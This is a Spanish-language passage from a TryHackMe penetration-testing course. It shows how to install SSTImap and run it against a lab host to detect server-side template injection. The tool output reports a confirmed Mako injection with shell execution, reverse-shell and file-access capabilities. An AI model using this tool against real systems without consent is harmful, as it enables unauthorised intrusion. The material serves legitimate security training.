XUT_ / COURSES / PENETRATION TESTER

Automating the Exploitation

SSTImap es una herramienta que automatiza el proceso de comprobar y explotar vulnerabilidades en varios motores de plantillas. Hosteada en GitHub, ofrece un framework para descubrir vulnerabilidades de inyección en plantills.

Para instalarla en tu máquina:

bash
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt

STTImap es capaz de:

  • Detectar Motor de Plantilla: SSTImap puede ayudar a identificar el motor usado por una aplicación web, la cual es crucial para construir exploits específicos.
  • Explotación automatizada: Para vulnerabilidades conocidas, SSSTImap puede automatizar el proceso de explotarlas.

Puedes usar SSTImap dándole la URL a escanear y cualquier opción necesaria, aquí un ejemplo de uso:

bash
python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='

Este comando intenta detectar vulnerabilidades SSTI usando los payloads preparados.

bash
user@tryhackme $ python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='           

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║  _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.2.1
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 5; generic: 3; engines: 17; legacy_engines: 2
[*] Loaded request body types: 4

[*] Scanning url: http://ssti.thm:8002/mako/
[*] Testing if Body parameter 'page' is injectable
[*] Mako plugin is testing rendering with tag '*'
[+] Mako plugin has confirmed injection with tag '*'
[+] SSTImap identified the following injection point:

  Body parameter: page
  Engine: Mako
  Injection: *
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code